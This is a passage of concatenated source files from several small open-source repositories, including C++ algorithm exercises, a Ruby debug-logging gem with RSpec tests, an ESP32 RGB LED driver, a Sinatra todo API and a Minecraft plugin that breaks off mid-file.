0;j<G.numvex;j++){ if(G.arc[i][j]==INF) printf("%6s","¡Þ"); else printf("%6d",G.arc[i][j]); } cout<<endl; } } } int main(){ Graph G; CreateGraph(G); DispalyGraph(G); Floyd(G); return 0; } ``` LCS算法.cpp ```#include<stdio.h> #include<string.h> int c[200][200]; //用c[i][j]记录X[i]与Y[j] 的LCS 的长度 int b[200][200]; //b[i][j]记录c[i][j]是通过哪一个子问题的值求得的,以决定搜索的方向 char f[200]; /*取c[i-1][j]和c[i][j-1]的最大值,并记录c[i][j]是通过哪一个子问题的值求得的,以决定搜索的方向*/ int Max(int m, int n, int i, int j) { if (m > n) { b[i][j] = -1; return m; } else { b[i][j] = 1; return n; } } /*递归打印LCS的元素内容*/ void print(int i, int j, int s, char x[], char y[]) { if (b[i][j] == 0) { f[s - 1] = x[i - 1]; i--; j--; s--; print(i, j, s, x, y); } else if (b[i][j] == -1) { i--; print(i, j, s, x, y); } else if (b[i][j] == 1) { j--; print(i, j, s, x, y); } } int LCS(char x[], char y[]) { int i, j; int x_len, y_len; x_len = strlen(x); y_len = strlen(y); printf(" "); for (i = 0; i < y_len; i++) { printf("%c ", y[i]); } printf("\n"); for (i = 1; i <= x_len; i++) { printf("%c ", x[i - 1]); for (j = 1; j <= y_len; j++) { if (x[i - 1] == y[j - 1]) { c[i][j] = c[i - 1][j - 1] + 1; b[i][j] = 0; printf("%d ", c[i][j]); } else { c[i][j] = Max(c[i - 1][j], c[i][j - 1], i, j); printf("%d ", c[i][j]); } } printf("\n"); } printf("X和Y的LCS是:"); print(x_len, y_len, c[x_len][y_len], x, y); printf("%s", f); printf("\n"); return c[x_len][y_len]; } /*------------------------------分割线----------------------------------------*/ int main() { char X[200], Y[200]; int i, j, s; printf("请输入字符串X:"); scanf("%s", X); while (strlen(X) > 200) { printf("您输入的字符串超过最大长度,请重新输入!"); scanf("%s", X); } printf("请输入字符串Y:"); scanf("%s", Y); while (strlen(Y) > 200) { printf("您输入的字符串超过最大长度,请重新输入!"); scanf("%s", Y); } s = LCS(X, Y); printf("X和Y的LCS: %d \n", s); return 0; } ``` 0-1背包 装载问题.cpp ```#include <iostream> using namespace std; typedef float Type; //Sort函数的目的是将集装箱的序号按照重量从小到大排序 void Sort(Type w[],int t[],int n) { int temp; for(int i=1; i<=n; i++) { t[i]=i; //初始时默认集装箱序号为升序 } for(int i=1; i<=n; i++) { for(int j=1; j<=n-1; j++) { if(w[j]>w[j+1]) { //如果前者比后者重交换其序号 temp=t[j]; t[j]=t[j+1]; t[j+1]=temp; } } } } //c为轮船载重量,n为集装箱数目 //w[]表示集装箱的重量 //x[]表示集装箱是否装入轮船,x[i]=0或1 void Loading(int x[],Type w[],Type c,int n){ int *t=new int [n+1]; Sort(w,t,n); for(int i=1;i<=n;i++){ x[i]=0; } for(int i=1;i<=n&&w[t[i]]<=c;i++){ x[t[i]]=1; c=c-w[t[i]]; } } int main(){ int n; Type c; cout<<"请输入集装箱数目:"; cin>>n; cout<<"请输入轮船装载重量:"; cin>>c; Type w[n+1]; cout<<"请输入每个集装箱的重量:"; for(int i=1;i<=n;i++){ cin>>w[i]; } int x[n+1]; Loading(x,w,c,n); for(int i=1;i<=n;i++){ cout<<x[i]<<" "; } return 0; } ```
zdenekpasek/webZurb
zdenekpasek/webZurb apps.js ```$(document).ready(function(){ // inicializuj pri nahrane strance $(window).scroll(function(){ if($(this).scrollTop()>100){ $('.scrollup').fadeIn(); }else{ $('.scrollup').fadeOut(); } }); $('.scrollup').click(function(){ $('html, body').animate({scrollTop:0},700); return false; }); }); function focus_in(oid){ $('#'+oid).addClass('nutne'); } function focus_out(oid){ $('#'+oid).removeClass('nutne'); } function validateForm(frm,arPole){ var pocet_poli=arPole.length; var ret=true; errFlag=new Array(); var error=0; //$('.out').append(pocet_poli); // prida obsah do elementuo tride out //console.log(pocet_poli); for(var i=0;i<pocet_poli;i++){ var inp=$('*[name="'+arPole[i]+'"]'); if(inp.prop('type')=='text' || inp.prop('type')=='textarea'){ if(inp.val()==''){ //$('.out').append("Pole "+arPole[i]+" musi by vyplneno."); ret=false; errFlag[arPole[i]]="required"; } }else if(inp.prop('type')=='checkbox'){ if(inp.prop('checked')==false){ ret=false; errFlag[arPole[i]]="required"; } }else if(inp.prop('type')=='select-one'){ if(inp.val()==''){ ret=false; errFlag[arPole[i]]="required"; } }else if(inp.prop('type')=='select-one'){ if(!$('input[name="'+arPole[i]+'"]:checked').val()){ ret=false; errFlag[arPole[i]]="required"; } } } for(var j=0; j<pocet_poli;j++){ if(ret==false){ if(errFlag[arPole[j]]){ focus_in('id-'+arPole[j]); }else{ focus_out('id-'+arPole[j]); } error++; } } if(error>0){ $('.error').show(); return false; }else{ return true; } }```
zdennis/treefell
zdennis/treefell README.md ```# Treefell [![Build Status](https://travis-ci.org/zdennis/treefell.svg?branch=master)](https://travis-ci.org/zdennis/treefell) > If a tree falls in a forest and no one is around to hear it, does it make a sound? Treefell is a minimalist debug-logging library for ruby. It uses the DEBUG environment variable to determine which debug messages are logged and which are suppressed. This project was inspired by visionmedia's [debug](https://github.com/visionmedia/debug) library for nodejs. ## Installation Add this line to your application's Gemfile: gem 'treefell' And then execute: $ bundle Or install it yourself as: $ gem install treefell ## Usage Take the ruby program: ```ruby #!/usr/bin/env ruby require 'treefell' foo_debug = Treefell['foo'] foo_debug.puts 'too funky in here' bar_debug = Treefell['bar'] bar_debug.puts 'you got that right' baz_debug = Treefell['baz'] baz_debug.puts 'say it again' ``` Each call to `Treefell['...']` instantiates a `DebugLogger` for the provided namespace (e.g. foo, bar, baz). By default no debug log statements are displayed: ``` > ruby program.rb ``` ### Displaying all messages You can tell it to display all messages with the wildcard `*`: ![Example 1 Screenshot](/examples/example_1.png?raw=true) ### Displaying messages from a particular namespace Here's how to display messages for one specific debugging namespace: ![Example 2 Screenshot](/examples/example_2.png?raw=true) ### Displaying messages for multiple namespaces To display messages from multiple namespaces use a comma-separated list of namespaces: ![Example 3 Screenshot](/examples/example_3.png?raw=true) ### Colored output Every namespace gets a color associated with it to aide in the visual parsing of the output. Also `DebugLogger`(s) are cached per namespace so regardless of when you refer to the namespace it will always have the same color associated with it. E.g. ```ruby foo_debug = Treefell['foo'] other_foo_debug = Treefell['foo'] foo_debug.eql?(other_foo_debug) # => true ``` #### Sending to IO other than STDOUT By default all messages are written to `STDOUT`. You can change this by instantiating a debug logger using the `debug` method, e.g.: ```ruby foo_debug = Treefell.debug('foo', io: some_io) foo_debug.puts 'Get up offa that thing, and dance till you feel better' ``` ## Contributing 1. Fork it ( https://github.com/zdennis/treefell/fork ) 2. Create your feature branch (`git checkout -b my-new-feature`) 3. Commit your changes (`git commit -am 'Add some feature'`) 4. Push to the branch (`git push origin my-new-feature`) 5. Create a new Pull Request ``` treefell_spec.rb ```require 'spec_helper' require 'stringio' describe Treefell do let(:default_filter) do Treefell::Filters::EnvFilter.new(value: Treefell::NAMESPACE_ENV_VAR_LOOKUP) end after(:each) do Treefell.reset end context '.debug' do it 'creates and returns a debug logger with no namespace' do debug = Treefell.debug expect(debug).to eq Treefell::DebugLogger.new(filter: default_filter) expect(debug.filter).to eq default_filter end it 'creates and returns a debug logger with a namespace' do debug = Treefell.debug('foobar') expect(debug).to eq Treefell::DebugLogger.new( namespace: 'foobar', filter: default_filter ) end it 'creates and returns a debug logger with a custom IO' do io = StringIO.new debug = Treefell.debug('foobar', io: io) expect(debug).to eq Treefell::DebugLogger.new( namespace: 'foobar', io: io, filter: default_filter ) end it 'creates and returns a debug logger with a custom filter' do custom_filter = proc { true } debug = Treefell.debug('foobar', filter: custom_filter) expect(debug).to eq Treefell::DebugLogger.new( namespace: 'foobar', filter: custom_filter ) expect(debug.filter).to eq custom_filter end it 'returns the same debug logger across invocations with the same namespace' do debug_1 = Treefell.debug('foobar') debug_2 = Treefell.debug('foobar') expect(debug_2).to be debug_1 end end describe '#[]' do it 'returns a DebugLogger for the namespace' do debug = Treefell['foobar'] expect(debug).to eq Treefell::DebugLogger.new( namespace: 'foobar', filter: default_filter ) end end describe '.namespace_env_var' do it 'determines which env var is used to filter messages' do ClimateControl.modify FOOBAR: 'baz' do expect(Treefell['baz'].filter.call('baz', 'some message')).to be false Treefell.namespace_env_var = 'FOOBAR' expect(Treefell.namespace_env_var).to eq 'FOOBAR' expect(Treefell['baz'].filter.call('baz', 'some message')).to be true end end end describe 'redirecting output with an env var' do let(:out_file) { 'tmp-out.txt' } after(:each) { FileUtils.rm(out_file) if File.exists?(out_file) } it 'writes to the file specified by TREEFELL_OUT' do ClimateControl.modify TREEFELL_OUT: out_file, DEBUG: '*' do Treefell['baz'].puts 'the rainbow is full of color' expect(File.read(out_file)).to match /the rainbow is full of color\n/ end end it 'writes multiple namespaces to the same file' do ClimateControl.modify TREEFELL_OUT: out_file, DEBUG: '*' do Treefell['baz'].puts 'the rainbow is full of color' Treefell['foo'].puts 'the sky is blue, sometimes gray' Treefell['baz'].puts 'the skittles are delicious' output = File.read(out_file) expect(output).to match /the rainbow.*the sky.*skittles/m end end end end ``` treefell.rb ```require 'term/ansicolor' require 'treefell/version' require 'treefell/debug_logger' require 'treefell/filters/env_filter' module Treefell NAMESPACE_ENV_VAR_LOOKUP = -> { ENV[Treefell.namespace_env_var] } def self.namespace_env_var=(namespace_env_var) @namespace_env_var = namespace_env_var end def self.namespace_env_var @namespace_env_var || Filters::EnvFilter::NAMESPACE_ENV_VAR_KEY end def self.debug(namespace=nil, io: nil, filter: nil) io ||= begin treefell_out = ENV['TREEFELL_OUT'] if treefell_out @treefell_out_io ||= File.open(treefell_out, 'w+').tap do |io| io.sync = true end else $stdout end end filter ||= Filters::EnvFilter.new(value: NAMESPACE_ENV_VAR_LOOKUP) @debug_loggers ||= {} @debug_loggers[namespace] ||= DebugLogger.new( namespace: namespace, io: io, filter: filter ) end def self.reset if @treefell_out_io @treefell_out_io.close unless @treefell_out_io.closed? @treefell_out_io = nil end @debug_loggers.clear if @debug_loggers @namespace_env_var = nil end def self.[](namespace) debug(namespace) end end ``` treefell.gemspec ```lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'treefell/version' Gem::Specification.new do |s| s.name = 'treefell' s.version = Treefell::VERSION s.date = Time.now.strftime '%Y-%m-%d' s.summary = 'Treefell is a simple debug-logging library for ruby' s.description = 'Treefell is a simple debug-logging library for ruby.' s.authors = ['Zach Dennis'] s.email = 'zach.dennis@gmail.com' s.homepage = 'https://github.com/zdennis/treefell' s.license = 'MIT' exclude_files = %w(.travis.yml .rspec .gitignore Gemfile) s.files = (`git ls-files -z`.split("\x0") - exclude_files) .reject { |file| file =~ /^spec\// } s.executables = s.files.grep(%r{^bin/}) { |f| File.basename(f) } s.test_files = s.files.grep(%r{^(test|spec|features)/}) s.require_paths = ["lib"] # Be specific about these dependencies otherwise RubyGems may print # following warning: # # WARN: Unresolved specs during Gem::Specification.reset # # This warning is caused by RubyGems having multiple versions of a gem # installed that could match requirements. s.add_dependency "tins", "= 1.10.2" s.add_dependency "ansi_string", "~> 0.1" s.add_dependency "term-ansicolor", "~> 1.3.2" s.add_development_dependency 'rspec', '~> 3.4.0', '>= 3.4' s.add_development_dependency 'climate_control', '~> 0.0.3' end ``` debug_logger_spec.rb ```require 'spec_helper' require 'stringio' describe Treefell::DebugLogger do subject(:debug_logger){ described_class.new } describe '#puts' do let(:io){ StringIO.new } let(:output){ io.tap(&:rewind).read } context 'when no explicit IO provided' do before { $stdout = io } after { $stdout = STDOUT } it 'writes to $stdout by default' do debug_logger.puts 'this is a test' expect(output).to eq("this is a test\n") end end context 'when explicit IO is provided' do subject(:debug_logger){ described_class.new(io: io) } it 'writes to the provided IO' do debug_logger.puts 'this is a test' expect(output).to eq("this is a test\n") end end context 'when a namespace is provided' do subject(:debug_logger) do described_class.new(namespace: namespace, io: io) end let(:namespace){ 'foo' } let(:message){ 'namespace on my left' } it 'prefixes debug messages with a colorized namespace' do debug_logger.puts message expect(output).to match(/\e\[\d+m#{namespace}\e\[0m #{message}\n/m) end it 're-uses the same colored namespace for each message' do debug_logger.puts 'message 1' debug_logger.puts 'message 2' debug_logger.puts 'message 3' colors = output.scan(/(\e\[\d+m)#{namespace}/).flatten expect(colors.uniq.length).to be 1 end it 'uses different colors for each instantiation of the DebugLogger' do debug_loggers = [ described_class.new(namespace: namespace, io: io), described_class.new(namespace: namespace, io: io), described_class.new(namespace: namespace, io: io) ] debug_loggers.each { |debug| debug.puts 'message' } colors = output.scan(/(\e\[\d+m)#{namespace}/).flatten expect(colors.uniq.length).to be 3 end end context 'when a filter is provided' do let(:io){ StringIO.new } let(:output){ io.tap(&:rewind).read } it 'writes the message when the filter#call returns true' do debug_logger = described_class.new(io: io, filter: proc { true }) debug_logger.puts 'this is a test' expect(output).to eq("this is a test\n") end it 'does not write the message filter#call returns false' do debug_logger = described_class.new(io: io, filter: proc { false }) debug_logger.puts 'this is a test' expect(output).to_not include("this is a test") end end end describe '#== equality' do it 'is equal to another instance created with no args' do debug_logger_1 = described_class.new debug_logger_2 = described_class.new expect(debug_logger_1).to eq(debug_logger_2) expect(debug_logger_2).to eq(debug_logger_1) end it 'is equal to another instance with equivalent namespace and io' do io = StringIO.new debug_logger_1 = described_class.new(namespace: 'foo', io: io) debug_logger_2 = described_class.new(namespace: 'foo', io: io) expect(debug_logger_1).to eq(debug_logger_2) expect(debug_logger_2).to eq(debug_logger_1) end it 'is not equal when the filters are the same object' do filter = proc { true } debug_logger_1 = described_class.new filter: filter debug_logger_2 = described_class.new filter: filter expect(debug_logger_1).to eq(debug_logger_2) expect(debug_logger_2).to eq(debug_logger_1) end it 'is not equal when the namespaces differ' do debug_logger_1 = described_class.new namespace: 'foo' debug_logger_2 = described_class.new expect(debug_logger_1).to_not eq(debug_logger_2) expect(debug_logger_2).to_not eq(debug_logger_1) end it 'is not equal when the given io(s) differ' do debug_logger_1 = described_class.new io: StringIO.new debug_logger_2 = described_class.new io: StringIO.new expect(debug_logger_1).to_not eq(debug_logger_2) expect(debug_logger_2).to_not eq(debug_logger_1) end it 'is not equal when the filters differ' do debug_logger_1 = described_class.new filter: proc { true } debug_logger_2 = described_class.new filter: proc { true } expect(debug_logger_1).to_not eq(debug_logger_2) expect(debug_logger_2).to_not eq(debug_logger_1) end end describe '#[] - subloggers' do subject(:debug_logger) do described_class.new(namespace: namespace, io: io) end let(:namespace){ 'foo' } let(:io){ StringIO.new } let(:output){ io.tap(&:rewind).read } it 'returns a new DebugLogger' do expect(debug_logger['bar']).to be_kind_of(self.described_class) end it 'puts messages thru the top-level DebugLogger' do debug_logger['bar'].puts 'hello there!' output_without_ansi = ANSIString.new(output).without_ansi expect(output_without_ansi).to eq('foo bar hello there!') end end end ``` debug_logger.rb ```require 'treefell/color' module Treefell class DebugLogger DEFAULT_FILTER_PROC = proc { true } attr_reader :filter, :io, :namespace def initialize(namespace: nil, io: $stdout, color: Color.rotate, filter: nil) @namespace = namespace @io = io @color = color @filter = filter || DEFAULT_FILTER_PROC end def [](sub_namespace) @debug_loggers ||= {} @debug_loggers[sub_namespace] ||= DebugLogger.new( namespace: sub_namespace, io: self, filter: DEFAULT_FILTER_PROC ) end def puts(message) if @filter.call(namespace, message) formatted_namespace = if namespace @color.colorize(namespace) end @io.puts [ formatted_namespace, message ].compact.join(' ') end end def ==(other) other.is_a?(self.class) && other.namespace == namespace && other.io == io && other.filter == filter end end end ``` color.rb ```module Treefell class Color COLORS = [ :bright_black, :bright_blue, :bright_cyan, :bright_green, :bright_magenta, :bright_red, :bright_yellow ] def self.rotate if !@colors_index || @colors_index == COLORS.length - 1 @colors_index = -1 end new(COLORS[@colors_index+=1]) end def initialize(color) @color = color end def colorize(str) ::Term::ANSIColor.send(@color, str) end end end ``` env_filter.rb ```module Treefell module Filters class EnvFilter NAMESPACE_ENV_VAR_KEY = 'DEBUG' NAMESPACE_ENV_VAR_LOOKUP = -> { ENV[NAMESPACE_ENV_VAR_KEY] } WILDCARD = '*' def initialize(value: NAMESPACE_ENV_VAR_LOOKUP) @value_proc = value end def call(namespace, message) @value = @value_proc.call is_mentioned?(namespace) is_mentioned?(namespace) || is_mentioned?(WILDCARD) end def ==(other) other.is_a?(self.class) && other.instance_variable_get(:@value_proc) == @value_proc end private def is_mentioned?(str) @value.to_s.split(/\s*,\s*/).include?(str) end end end end ``` env_filter_spec.rb ```require 'spec_helper' describe Treefell::Filters::EnvFilter do subject(:filter){ described_class.new } describe '#call' do let(:namespace) { 'foobar' } let(:message) { 'message' } context 'defaults' do it 'returns false when the namespace is not in the env var' do ClimateControl.modify DEBUG: 'nope,not,in,here' do expect(filter.call(namespace, message)).to eq false end end it 'returns true when the namespace is in the env var' do ClimateControl.modify DEBUG: namespace do expect(filter.call(namespace, message)).to eq true end end it 'returns true when the namespace is included in a comma separated list of values' do ClimateControl.modify DEBUG: "hrm,#{namespace},baz" do expect(filter.call(namespace, message)).to eq true end end it 'returns true when the env var contains the wildcard: *' do ClimateControl.modify DEBUG: "*" do expect(filter.call(namespace, message)).to eq true end ClimateControl.modify DEBUG: "hrm,*,baz" do expect(filter.call(namespace, message)).to eq true end end end context 'providing a custom value lookup' do it 'returns true when the namespace is found in the return value of the lookup proc' do filter = described_class.new(value: -> { namespace }) ClimateControl.modify DEBUG: namespace do expect(filter.call(namespace, message)).to eq true end end it 'returns true when the namespace is found in the return value of the lookup proc' do filter = described_class.new(value: -> { nil }) ClimateControl.modify DEBUG: namespace do expect(filter.call(namespace, message)).to eq false end end it 'calls the lookup proc each time allowing for the filter to change' do value = 'a' filter = described_class.new(value: -> { value.succ! }) ClimateControl.modify DEBUG: namespace do expect(filter.call('b', message)).to eq true end ClimateControl.modify DEBUG: namespace do expect(filter.call('c', message)).to eq true end ClimateControl.modify DEBUG: namespace do expect(filter.call('d', message)).to eq true end end end end end ``` program.rb ```#!/usr/bin/env ruby require 'treefell' foo_debug = Treefell['foo'] foo_debug.puts 'too funky in here' bar_debug = Treefell['bar'] bar_debug.puts 'you got that right' baz_debug = Treefell['baz'] baz_debug.puts 'say it again' ```
zdf0221/midi-melody-generator
zdf0221/midi-melody-generator README.md ```# MIDI melody generator MIDI melody generator written in Python 3. Program creates chord progression then chooses one of the fundamental rhythms patterns to compose and generate a MIDI file. ## Usage #### Download or clone this repository: ```bash $ git clone https://github.com/MieszkoMakuch/midi-melody-generator $ cd midi-melody-generator ``` #### Run main.py using pyton3: ```bash $ python3 main.py ``` #### Customizing your melody To customize your melody you can specify the arguments listed below. When the argument is not specified it will be chosen randomly or by default. ```bash -h, --help show this help message and exit -d , --destination Choose MIDI file destination (default "melody.mid") -m , --mood Choose mood of the melody -s , --speed Choose speed of the melody -l , --length Choose how many times the chord sequence will be repeated -in , --instrumentName Choose name of the instrument -iv , --instrumentValue Choose value of the instrument (0, 1, 2, ..., 127) ``` #### Usage example: ```bash $ python3 main.py --destination myMelody.mid --mood HAPPY -in AcousticGrandPiano ############################################################### Melody has been successfully generated! Melody properties: Destination: myMelody.mid Mood: HAPPY Octave shift: 0 Length multiply: 3 Instrument: AcousticGrandPiano Left hand rhythm: rhythm_constant_chord_left Right hand rhythm: rhythm_4_40_right Chord sequence: <ChordSeq: [I-octave_shift(0), vi-octave_shift(0), iii-octave_shift(0), V-octave_shift(0)]> ############################################################### ``` ## How does it work? #### Melody is being composed: 1. Program chooses scale based on the mood: - major scale for HAPPY mood - minor scale for SAD mood 2. Program creates chord progression based on one of the formula I \_ \_ IV or V which means: first chord in chord progression is always I, last chord in chord progression is either IV or V (cadence chords), two chords between them are chosen randomly. More about chord progression: https://www.youtube.com/watch?v=lY_llceEGFI 3. Program chooses one of the fundamental rhythm patterns for left and right hand and applies generated chord progression to this rhythms. More about rhythm patterns: https://www.youtube.com/watch?v=X1coZlJRrx8 #### MIDI file is being generated: Slightly modified version of pyknon library (https://github.com/kroger/pyknon) is used to generate and save a MIDI file. ## Compatibility Python 3 is required. ```
zdila/mos-demo-rgb-driver
zdila/mos-demo-rgb-driver README.md ```# RGB LED Firmware Presentation: https://docs.google.com/presentation/d/1dIXqMXzXAHo3agcn2OgOQ0g5IyxKvipEKg0eU7FG1QA/edit?usp=sharing Webapp: https://github.com/zdila/mos-demo-rgb-webapp ## Installing building and flashing 1. Download and install [Mongoose OS](https://mongoose-os.com/docs/mongoose-os/quickstart/setup.md) 1. Optionally install Docker if you want to build locally 1. Clone the project with `git clone https://github.com/zdila/mos-demo-rgb-driver.git` 1. Go to project directory: `cd mos-demo-rgb-driver` 1. Build with `mos build --platform esp32` or `mos build --platform esp32 --local` for local build 1. Flash your connected device with `mos flash` 1. Configure wifi with `mos wifi SSID PASSWORD` 1. Read device logs with `mos console` ``` init.js ```load('api_pwm.js'); load('api_config.js'); load('api_rpc.js'); let pins = { r: Cfg.get('rgb.pin.r'), g: Cfg.get('rgb.pin.g'), b: Cfg.get('rgb.pin.b') }; RPC.addHandler('setRGB', function(args) { print('RGB', JSON.stringify(args)); if ( typeof args === 'object' && isBandValid(args.r) && isBandValid(args.g) && isBandValid(args.b) ) { PWM.set(pins.r, 1000, duty(args.r)); PWM.set(pins.g, 1000, duty(args.g)); PWM.set(pins.b, 1000, duty(args.b)); return null; } else { print('Invalid parameters.'); return { error: -32602, message: 'Bad request. Expected: {"r":<R>,"g":<G>,"b":<B>}' }; } }); function isBandValid(v) { return typeof v === 'number' && v >= 0 && v <= 1; } function duty(v) { return v * v * v; } ``` init.js ```load('api_pwm.js'); load('api_config.js'); load('api_rpc.js'); load('api_timer.js'); let pins = { r: Cfg.get('rgb.pin.r'), g: Cfg.get('rgb.pin.g'), b: Cfg.get('rgb.pin.b') }; let start = { r: 0, g: 0, b: 0 }; let dest = { r: 0, g: 0, b: 0 }; let current = { r: 0, g: 0, b: 0 }; let ts = 0; RPC.addHandler('setRGB', function (args) { print("RGB", JSON.stringify(args)); if ( typeof args === 'object' && isValidBand(args.r) && isValidBand(args.g) && isValidBand(args.b) ) { copyRgb(start, current); copyRgb(dest, args); ts = Timer.now(); return null; } else { print("Invalid parameters."); return { error: -32602, message: 'Bad request. Expected: {"r":<R>,"g":<G>,"b":<B>}' }; } }); function copyRgb(d, s) { d.r = s.r; d.g = s.g; d.b = s.b; } Timer.set(20, Timer.REPEAT, function () { if (!ts) { return; } let d = Timer.now() - ts; if (d > 1) { d = 1; ts = 0; } current.r = start.r * (1 - d) + dest.r * d; current.g = start.g * (1 - d) + dest.g * d; current.b = start.b * (1 - d) + dest.b * d; PWM.set(pins.r, freq(current.r), duty(current.r)); PWM.set(pins.g, freq(current.g), duty(current.g)); PWM.set(pins.b, freq(current.b), duty(current.b)); }, undefined); function isValidBand(v) { return typeof v === 'number' && v >= 0 && v <= 1; } function freq(v) { return duty(v) < 0.005 ? 0 : 400; } function duty(v) { return v * v * v; } ```
zdlulu/Test
zdlulu/Test MainActivity.java ```package com.helloworld; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.widget.Button; public class MainActivity extends AppCompatActivity { private Button btn; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); btn = (Button)findViewById(R.id.button); Log.i("","btn"); } } ```
zdne/todoapi
zdne/todoapi domain_model.rb ```require 'roar/representer/json/hal' # TODO API Resoures & Representations (Media Types) # HTTP Content Type Header field & value representing # HAL+JSON media type # HAL_CONTENT_TYPE_HEADER = { 'Content-Type' => 'application/hal+json' } # API root resource # class APIRoot end # API root resource HAL representation # module APIRootHALRepresentation include Roar::Representer::JSON::HAL link :self do "/" end link :folders do "/folders" end end # Folder resource # class Folder attr_accessor :id attr_accessor :name attr_accessor :description attr_accessor :parent attr_accessor :meta def initialize (id = "", name = "", description = "") @id = id @name = name @description = description @parent = "" @meta = "" end def patch(folder) @name = folder.name unless folder.name.nil? @description = folder.description unless folder.description.nil? @parent = folder.parent unless folder.parent.nil? @meta = folder.meta unless folder.meta.nil? end end # Folder resource HAL representation # module FolderHALRepresentation include Roar::Representer::JSON::HAL property :id property :name property :description property :parent property :meta link :self do "/folders/#{id}" end link :edit do "/folders/#{id}" end end # Folder resource JSON representation # module FolderJSONRepresentation include Roar::Representer::JSON property :id property :name property :description property :parent property :meta end # Folders collection resource # class Folders attr_accessor :folders def initialize(dummy_data_count = 0) @folders = Array.new dummy_data_count.times do |i| folder = Folder.new(i, "Folder ##{i}", "Lorem Ipsum #{i}") folder.extend(FolderHALRepresentation) @folders << folder end end def folder_count @folders.length end def folder_with_id(id) return nil unless id >= 0 folder = @folders.detect { |folder| folder.id == id } end end # Folders collection resource HAL representation # module FoldersHALRepresentation include Roar::Representer::JSON::HAL property :folder_count link :self do "/folders" end link :create do "/folders" end collection :folders, extend: FolderHALRepresentation, class: Folder, embedded: true do property :id property :name property :description end end ``` README.md ```[![Build Status](https://travis-ci.org/zdne/todoapi.png?branch=master)](https://travis-ci.org/zdne/todoapi) # GTD Todo API [Blog post][] companion API & implementation. API described in [API Blueprint][] and tested by [Dredd][]. App written in Ruby using [Sinatra][] and [Roar][]. - API documentation at Apiary: <http://docs.gtdtodoapi.apiary.io> - Run the app: `$ bundle install` and `$ ruby app.rb` - Run the tests `$ npm install -g dredd` and `$ dredd apiary.apib http://localhost:4567` - Ruby client: <https://github.com/zdne/todoapi-client-ruby> ## Design Notes Todo API implementation demonstrates _resource_ and its _representation_ abstraction using the awesome [Roar][] library. See the [`domain_model.rb`](domain_model.rb) and commented implementation in [`post '/folders'`](app.rb#L28). ## Contribute Fork & Pull Request. ## License MIT License. See the [LICENSE](LICENSE) file. [API Blueprint]: http://apiblueprint.org [Blog post]: http://blog.apiary.io/2014/03/06/Surfing-API/ [Dredd]: https://github.com/apiaryio/dredd [Sinatra]: http://www.sinatrarb.com [Roar]: https://github.com/apotonick/roar``` app.rb ```require 'sinatra' require_relative 'domain_model' # Data source (DB) # api_root = APIRoot.new api_root.extend(APIRootHALRepresentation) DUMMY_DATA_COUNT = 3 folders_collection = Folders.new(DUMMY_DATA_COUNT) folders_collection.extend(FoldersHALRepresentation) # API Routing # get '/' do headers HAL_CONTENT_TYPE_HEADER api_root.to_json end get '/folders' do headers HAL_CONTENT_TYPE_HEADER folders_collection.to_json end # Exemplar resource and its representations pattern: # Create a new folder resource from a JSON representation # and responde with its HAL representation post '/folders' do request.body.rewind # Create new resource folder = Folder.new # Pull in its JSON representation folder.extend(FolderJSONRepresentation) folder.from_json(request.body.read) # Insert new resource to "DB" folder.id = folders_collection.folders[-1].id + 1 folders_collection.folders << folder # Respond with HAL representation folder.extend(FolderHALRepresentation) headers HAL_CONTENT_TYPE_HEADER body folder.to_json 201 end get '/folders/:id' do folder = folders_collection.folder_with_id(params[:id].to_i) return 404 unless folder headers HAL_CONTENT_TYPE_HEADER folder.to_json end patch '/folders/:id' do folder = folders_collection.folder_with_id(params[:id].to_i) return 404 unless folder request.body.rewind patch_data = Folder.new patch_data.extend(FolderJSONRepresentation) patch_data.from_json(request.body.read) folder.patch(patch_data) headers HAL_CONTENT_TYPE_HEADER folder.to_json end delete '/folders/:id' do folder = folders_collection.folder_with_id(params[:id].to_i) return 404 unless folder folders_collection.folders.delete(folder) 204 end ```
zdrozal1/EffectsGui
zdrozal1/EffectsGui Main.java ```package zain.drozal.effects; import java.util.ArrayList; import java.util.UUID; import org.bukkit.Bukkit; import org.bukkit.ChatColor; import org.bukkit.Effect; import org.bukkit.Location; import org.bukkit.Material; import org.bukkit.command.Command; import org.bukkit.command.CommandSender; import org.bukkit.configuration.file.FileConfiguration; import org.bukkit.enchantments.Enchantment; import org.bukkit.entity.Player; import org.bukkit.event.EventHandler; import org.bukkit.event.Listener; import org.bukkit.event.inventory.InventoryClickEvent; import org.bukkit.event.player.PlayerMoveEvent; import org.bukkit.inventory.Inventory; import org.bukkit.inventory.ItemFlag; import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.meta.ItemMeta; import org.bukkit.plugin.java.JavaPlugin; public class Main extends JavaPlugin implements Listener { Inventory inv = Bukkit.createInventory(null, 9, ChatColor.AQUA+"EffectGui"); // Flame On ItemStack flameon = new ItemStack(Material.FLINT_AND_STEEL); { ItemMeta flameonmeta = flameon.getItemMeta(); flameonmeta.setDisplayName(ChatColor.GREEN+"Enable Flame Effect"); flameonmeta.addItemFlags(ItemFlag.HIDE_ATTRIBUTES); ArrayList<String> lore = new ArrayList<>(); lore.add(ChatColor.GRAY+"Turn on fire effect"); flameonmeta.setLore(lore); flameon.setItemMeta(flameonmeta); inv.setItem(0, flameon); } // Flame off ItemStack flameoff = new ItemStack(Material.REDSTONE_BLOCK); { ItemMeta flameoffmeta = flameoff.getItemMeta(); flameoffmeta.setDisplayName(ChatColor.RED+"Disable Flame Effect"); flameoffmeta.addItemFlags(ItemFlag.HIDE_ATTRIBUTES); ArrayList<String> lore = new ArrayList<>(); lore.add(ChatColor.GRAY+"Turn off fire effect"); flameoffmeta.setLore(lore); flameoff.setItemMeta(flameoffmeta); inv.setItem(1, flameoff); } ArrayList<UUID> flame = new ArrayList<UUID>(); ArrayList<UUID> water = new ArrayList<UUID>(); public void onEnable(){ Bukkit.getServer().getPluginManager().registerEvents(this, this); final FileConfiguration config = this.getConfig(); config.options().copyDefaults(true); saveConfig(); } //TODO CREATE INVENTORY FOR THIS,WATCH VIDEO ON COMPLEX PARTICLES,ADD THESE TO INVENTORY @EventHandler public void onClick(InventoryClickEvent e){ Inventory inv = e.getInventory(); Player p = (Player) e.getWhoClicked(); if(inv.getName().equals(ChatColor.AQUA+"EffectGui")){ if(e.getSlot() == 0){ PacketUtils.sendTitle(p, ChatColor.RED+"Flame Effect", "Has Been Enabled", 1, 2, 1); flame.add(p.getUniqueId()); 